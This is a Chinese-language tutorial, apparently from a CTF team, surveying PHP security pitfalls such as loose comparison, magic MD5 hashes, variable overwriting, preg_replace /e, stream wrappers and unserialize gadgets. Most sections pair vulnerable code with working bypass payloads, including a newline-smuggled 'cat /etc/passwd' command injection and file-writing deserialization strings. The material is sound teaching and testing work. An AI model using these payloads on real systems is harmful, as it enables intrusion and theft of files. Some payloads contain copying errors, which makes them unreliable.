尽可能全面的总结PHP的各种安全问题
本篇持续更新
$_POST
:用于接收post提交的数据$_GET
:用于获取url地址栏的参数数据$_FILES
:用于文件接收的处理, img 最常见$_COOKIE
:用于获取与setCookie()
中的name 值$_SESSION
:用于存储session的值或获取session中的值$_REQUEST
:具有get、post的功能,但比较慢$_SERVER
:预定义服务器变量的一种$GLOBALS
:一个包含了全部变量的全局组合数组$_ENV
:是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限
尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16
非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递
下面看一个有趣的例子感受下:
以十进制能够精确表示的有理数如 0.1 或 0.7,无论有多少尾数都不能被内部所使用的二进制精确表示 因此不能在不丢失一点点精度的情况下转换为二进制的格式
这就会造成混乱的结果:
例如,floor((0.1+0.7)*10)
通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118…
PHP弱类型语言的一个特性,当一个整形和一个其他类型比较的时候,会先把其他类型intval数字化再比
举个例子
<?php
error_reporting(0);
$flag = 'flag{test}';
$id = $_GET['id'];
is_numeric($id)?die("Sorry...."):NULL;
if($id>2020){
echo $flag;
}
?>
既要传入非数字,又要比2020大
那就传个?id=2021a
即可
实例
==
和===
比较符如下
尤其要关注的是==
和===
==
会先将字符串类型转换成相同,再比较===
会先判断两种字符串的类型是否相等,再比较一些利用
'a'==0 //true
'12a'==12 //true
'1'==1 //true
'1aaaa55sss66'==1 //true
1==true=="1" //true
"0e123" == "0e456" //true,0e这类字符串识为科学技术法的数字,0的无论多少次方都是零,所以相等
"0e123" == "0eabc" //flase,科学计数的指数不可以包含字母
一批md5开头是0e
的字符串
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
实例
strcmp()
函数这是个比较字符串的函数
int strcmp ( string $str1 , string $str2 )
str1
小于 str2
返回 < 0
str1
大于 str2
返回 > 0
问题
例子
<?php
$password=$_GET['password'];
if(strcmp('am0s',$password)){
echo 'false!';
}else{
echo 'success!';
}
?>
绕过
?password[]=1
拓展
strcmp()
函数外,ereg()
和strpos()
函数在处理数组的时候也会异常,返回NULLintval()
函数用于获取变量的整数值 在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符 即使出现无法转换的字符串也不会报错而是返回0
于是有
<?php
$a = $_GET['a'];
if (intval($a) === 666) {
$sql = "Select a From Table Where Id=".$a;
echo $sql;
} else {
echo "No...";
}
?>
sha1()
和md5()
加密函数都用于计算字符串的散列值 但是两者都无法处理数组,不会抛出异常而是直接返回NULL
例子
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if (md5($a) === sha1($b)) {
echo "Bypass md5() and sha1()!";
} else {
echo "No...";
}
?>
绕过方法
?a[]=1&b[]=1
parse_str()
函数解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
void parse_str ( string $str [, array &$arr ] )
当parse_str()函数的参数值可以被用户控制时,则存在变量覆盖漏洞
例子
<?php
error_reporting(0);
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include ('flag.php');
$a = "www.xxx.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
} else {
exit('so easy!');
}
}
?>
结合弱类型的例子
<?php
error_reporting(0);
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include ('flag.php');
$a = "www.xxx.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
} else {
exit('so easy!');
}
}
?>
绕过
?b=a[0]=240610708
is_numeric()
函数用于检测变量是否为数字或数字字符串
可被十六进制的值进行绕过
例子
<?php
$name = $_GET['name'];
$con = mysql_connect("localhost","root","hehe123");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
if (is_numeric($name)) {
mysql_query("insert into users values (3," . $name . ",'test')");
}
?>
1′ union select 1,2,3
的十六进制为0x312720756e696f6e2073656c65637420312c322c33
绕过
?name=0x312720756e696f6e2073656c65637420312c322c33
in_array()
函数用来判断一个值是否在某一个数组列表里面 其缺陷在于存在自动类型转换 当输入数字1后再紧跟其他字符串能够Bypass检测数组的功能
例子
<?php
$id = $_GET['id'];
if (in_array($id, array(1,2,3,4,5,6,7,8,9,0))) {
$sql = "Select a From users Where Id='".$id."'";
echo $sql;
} else {
echo "No...";
}
?>
ereg()
和eregi()
用于正则匹配,两者的区别在于是否区分大小写 使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false
该函数可被%00
截断来Bypass
传入数组之后,ereg是返回NULL
例子
<?php
$passwd = $_GET['passwd'];
if (@ereg("^[a-zA-Z0-9_]+$", $passwd)) {
$sql = "Select username From users Where password='".$passwd."'";
echo $sql;
} else {
echo "No...";
}
?>
json_decode()
函数用于对json格式数据进行json解码操作,对于一个json类型的字符串,会解密成一个数组
其存在一个0=="efeaf"
的Bypass
例子
<?php
$key = "JsonTest";
if (isset($_GET['data'])) {
$data = json_decode($_GET['data']);
if ($data->key == $key) {
echo "Bypass json_decode()!";
} else {
echo "No...";
}
}
?>
preg_match()
函数用于执行一个正则表达式匹配
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
$pattern
:要搜索的模式,字符串形式$subject
:要搜索检测的目标字符串$flags
:可设置标记值$offset
:可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)/i
修饰符大小写不敏感
<?php
error_reporting(0);
$name = $_GET["name"];
if (preg_match('/script/', $_GET["name"])) {
die('hacker');
}
echo $name;
?>
绕过
?name=<Script>alert(2333)</Script>
/m
修饰符多行匹配
当出现换行符 %0a
的时候,会被当做两行处理
此时只可以匹配第 1 行,后面的行就会被忽略
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
绕过
ip=127.0.0.1%0acat /etc/passwd
实例
preg_replace()
函数执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
$pattern
:要搜索的模式,可以是字符串或一个字符串数组$replacement
:用于替换的字符串或字符串数组$subject
:要搜索替换的目标字符串或字符串数组$limit
:可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)$count
:可选,为替换执行的次数/e
修饰符使 preg_replace()
将 replacement 参数当作 PHP 代码
1、无限传参
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
绕过
?pattern=/233/e&new=phpinfo()&base=233
2、简单正则
<?php
error_reporting(0);
include('flag.php');
$pattern = $_REQUEST["pattern"];
$new = $_POST["new"];
$base = '2333';
preg_replace(
$pattern,
$new,
$base
);
?>
绕过
?pattern=/\d/e
然后就可以蚁剑了
3、进阶正则
<?php
error_reporting(0);
function complexStrtolower($regex, $value){
return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value);
}
foreach($_REQUEST as $regex => $value){
echo complexStrtolower($regex, $value) . "\n";
}
highlight_file(__FILE__);
?>
绕过
\S+={${phpinfo()}}
实例
register_globals
全局变量覆盖php.ini中有一项为register_globals,即注册全局变量
当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞
例子
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
if ($a) {
echo "Hacked!";
}
?>
extract()
变量覆盖从数组中将变量导入到当前的符号表 使用数组键名作为变量名,使用数组键值作为变量值 针对数组中的每个元素,将在当前符号表中创建对应的一个变量
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )
第二个参数指定函数将变量导入符号表时的行为
EXTR_OVERWRITE
时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量EXTR_SKIP
则表示跳过不覆盖EXTR_OVERWRITE
当extract()
函数从用户可以控制的数组中导出变量且第二个参数未设置或设置为EXTR_OVERWRITE
时,就存在变量覆盖漏洞
例子
<?php
$a = "0";
extract($_GET);
if ($a == 1) {
echo "Hacked!";
} else {
echo "Hello!";
}
?>
import_request_variables()
变量覆盖将GET、POST、Cookies中的变量导入到全局 4.1.0 <= PHP < 5.4.0
bool import_request_variables (string $types [, string $prefix])
$type
代表要注册的变量,G代表GET,P代表POST,C代表COOKIE例子
<?php
$a = "0";
import_request_variables("G");
if ($a == 1) {
echo "Fucked!";
} else {
echo "Nothing!";
}
?>
$$
导致的变量覆盖\$var
是一个正常变量,名称为:var,存储任何值,如:string,integer,float等例子使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值传入id=mi1k7ea后,在foreach语句中,\_key为id,\_value为mi1k7ea,进而\\_key为
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : "test";
if($id === "mi1k7ea") {
echo "flag{xxxxxxxxxx}";
} else {
echo "Nothing...";
}
?>
strstr()
函数大小写敏感
实例
mt_rand()
函数随机数生成工具
问题在于每个php cgi进程期间,只有第一次调用mt_rand()会自动播种 接下来都会根据这个第一次播种的种子来生成随机数
所以可以通过逆向得到随机种子 然后获取后面其他随机数 如路径之类的信息就有了
工具
实例
php伪协议主要有以下
file://
:用于访问本地文件系统读取本地文件php://
:访问各个输入/输出流(I/O streams),其中php://filter
用于读取文件内容,php://input
可以访问请求的原始数据的只读流、同时可将post请求中的数据作为PHP代码执行zip://
,bzip2://
,zlib://
:均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名data://
:写入数据phar://
:PHP归档通常都会用在文件包含上
php://
输入输出流PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
php://filter
allow_url_fopen
和allow_url_include
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的 这时候我们可以以base64编码的方式读取指定文件的源码
用法
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
实例
php://input
allow_url_fopen
和allow_url_include
file_get_contents()
时可以用php://input绕过<?php
echo file_get_contents("php://input");
?>
可以用来执行命令
也可以写入木马
file://
读取文件内容通过file协议可以访问本地文件系统,读取到文件的内容
且不受allow_url_fopen
与allow_url_include
的影响
只能输入绝对路径,输入相对路径不生效
注
输入php或JS文件,file://
协议会执行该PHP文件里的代码而不是显示该内容
data://
读取文件数据流封装器,和php://相似都是利用了流的概念 将原本的include的文件流重定向到了用户可控制的输入流中 简单来说就是执行文件的包含方法包含了你的输入流
条件
allow_url_fopen
和allow_url_include
使用方法
data:text/plain;base64, <script>alert('xss')</script>
data://text/plain;base64, <script>alert('xss')</script>
data:text/plain;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
data://text/plain;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
执行命令
?file=data:text/plain,<?php phpinfo();?>
base64绕过
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
实例
phar://
针对压缩包php解压缩包的一个函数 不管后缀是什么,都会当做压缩包来解压
条件
用法
实例
zip://
针对压缩包类似phar:// 使用方法和条件有点区别
条件
allow_url_fopen
和allow_url_include
#
编码为%23
,接上压缩包内的文件
注
类似的还有zlib://
协议和bzip2://
协议
php序列化的两个函数
serialize()
:将一个对象转成字符串形式,方便保存以便于下次再次反序列化出该对象直接使用unserialize()
:将序列化后的字符串反序列化成一个对象考虑User具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
可以解释如下:
O:4:"User" 具有4个字符的类名称的对象 "User"
2 对象具有2个属性
s:4:"name" 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos" 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn" 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1 第二个属性的值是布尔值 true
魔术方法就是在某些条件下自动执行的函数
参考官方文档 一些魔术方法如下
__sleep() //使用serialize时触发,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
最重要的几个
__wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
PHP反序列化漏洞出现的原因:
通过几个例子来感受下
<?php
class Test{
var $test = "123";
function __wakeup(){
$fp = fopen("test.php", 'w');
fwrite($fp, $this -> test);
fclose($fp);
}
}
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);
require "test.php";
?>
__wakeup()
payload
1.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
注:CVE-2016-7124漏洞:序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行
实例
<?php
class Test1{
function __construct($test){
$fp = fopen("shell.php", "w");
fwrite($fp, $test);
fclose($fp);
}
}
class Test2{
var $test = "123";
function __wakeup(){
$obj = new Test1($this -> test);
}
}
$test = $_GET['test'];
unserialize($test);
require "shell.php";
?>
payload
2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
class Test{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
本结束时就会调用destruct函数,同时会覆盖test变量
payload
3.php?test=O4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
首先php的session存储与读取是一个序列化跟反序列化的过程,其中有三种模式,分别是php_binary、php、php_serialize,这几个模式的存储方式不太一样,这也是会导致反序列化漏洞的根源
比如说是php_serialize的存储方式,那么我们可以通过构造一个上传表单,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在_SESSION中获得当PHP检测到这种POST请求时,它会在_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值然后再session_start()函数,直接触发session反序列化漏洞
PHP session反序列化漏洞
phar://
的应用hitcon Orange 的一道 0day 题的解法,打开了反序列化的大门,之后再black 2018有一位演讲者也谈到了phar协议在反序列化中的运用,大大增加了攻击面
phar反序列化漏洞
(1)寻找 unserialize() 函数的参数是否有我们的可控点
(2)寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
PHP对象注入之pop链构造
见到的一些安全问题
直接放链接 PHP动态特性的捕捉与逃逸
直接放链接 PHP webshell 免杀姿势总结
直接放链接 ThinkPHP 5.x远程命令执行漏洞分析与复现
实例
直接放链接 一个PHP混淆后门的分析
实例
看题目 攻防世界 web高手进阶区 8分题 love_math
PHP的hastTable是通过链表法实现的,按说是不会存在溢出的问题 但是其索引值表示的范围有限,当超出索引值时就会造成溢出 这个溢出只存在当索引值为数字时,输入的数字为正,输出却为负值的原因是函数参数与输出的类型不一致导致的
看个例子
<?php
$arr[1] = '1';
$arr[18446744073708551617333333333333] = '18446744073708551617333333333333';
$arr[] = 'test';
$arr[4294967296] = 'test';
$arr[9223372036854775807] = 'test';
$arr[9223372036854775808] = 'test';
var_dump($arr);
上面这些输出的结果是
array(6) {
[1]=>
string(1) "1"
[-999799117276250112]=>
string(32) "18446744073708551617333333333333"
[2]=>
string(4) "test"
[4294967296]=>
string(4) "test"
[9223372036854775807]=>
string(4) "test"
[-9223372036854775808]=>
string(4) "test"
}
当key值很大时输出的值溢出了,临界点是9223372036854775807
这个数字
实例
本文总结归纳PHP的各种安全问题 持续更新
参考
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。